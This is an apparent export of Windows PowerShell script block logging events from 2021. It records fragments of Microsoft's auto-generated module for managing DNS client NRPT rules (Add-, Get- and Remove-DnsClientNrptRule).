$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DANameServers')) {
[object]$__cmdletization_value = ${DANameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyServerName')) {
[object]$__cmdletization_value = ${DAProxyServerName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyType')) {
[object]$__cmdletization_value = ${DAProxyType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Comment')) {
[object]$__cmdletization_value = ${Comment}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecEnable')) {
[object]$__cmdletization_value = ${DnsSecEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DnsSecIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecRequired')) {
[object]$__cmdletization_value = ${DnsSecIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecValidationRequired')) {
[object]$__cmdletization_value = ${DnsSecValidationRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPsecTrustAuthority')) {
[object]$__cmdletization_value = ${IPsecTrustAuthority}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameEncoding')) {
[object]$__cmdletization_value = ${NameEncoding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent =
ScriptBlock ID: f0f2698f-290b-4123-a005-bbee261dfcee
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1964 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-defe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
t]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPsecTrustAuthority')) {
[object]$__cmdletization_value = ${IPsecTrustAuthority}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Comment')) {
[object]$__cmdletization_value = ${Comment}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayName')) {
[object]$__cmdletization_value = ${DisplayName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Add', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Add-DnsClientNrptRule' -Alias '*'
function Get-DnsClientNrptRule
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Get1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Get1', Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Name},
[Parameter(ParameterSetName='Get1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Get1')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get1')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get1')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptRule' -Alias '*'
function Remove-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Remove2', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Remove2', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='Remove2')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Remove2', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Remove2')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${Force},
[Parameter(ParameterSetName='Remove2')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Remove2')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Remove2')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Force')) {
[object]$__cmdletization_value = ${Force}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Force'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Force'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings =
ScriptBlock ID: f0f2698f-290b-4123-a005-bbee261dfcee
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1963 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-defe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptRule'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Add-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${GpoName},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessDnsServers')]
[string[]]
${DANameServers},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPsecRequired')]
[switch]
${DAIPsecRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
